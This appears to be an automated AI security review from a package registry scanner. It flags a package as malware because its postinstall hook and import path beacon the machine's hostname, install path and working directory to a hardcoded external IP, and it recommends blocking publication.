AI Security Review
scanned 9d ago · by lpm-firewall-aiThe automatic install hook and import path disclose identifying machine and installation metadata to a fixed external endpoint without a source-level consent gate. This is an active installation beacon, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing the package also calls the beacon.
Impact
The external recipient receives identifying information about the machine and package installation.
Mechanism
The beacon gathers the hostname, install path, and working directory, then sends them in an HTTP request to a hardcoded IP address.
Attack narrative
On installation, the postinstall hook runs the beacon, which sends the machine hostname, install path, and working directory to a hardcoded external IP address. Importing the package also invokes the beacon. The inspected source shows no consent check for either trigger.
AI rationale
The automatic install hook and import path disclose identifying machine and installation metadata to a fixed external endpoint without a source-level consent gate. This is an active installation beacon, so publication should be blocked.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package manifest runs a postinstall command that launches the beacon.
- The beacon sends an HTTP request to a fixed external IP address.
- The request payload includes the machine hostname, install path, and working directory.
- The beacon writes the payload to the request without a source-level consent check.
- Importing the package also invokes the beacon.
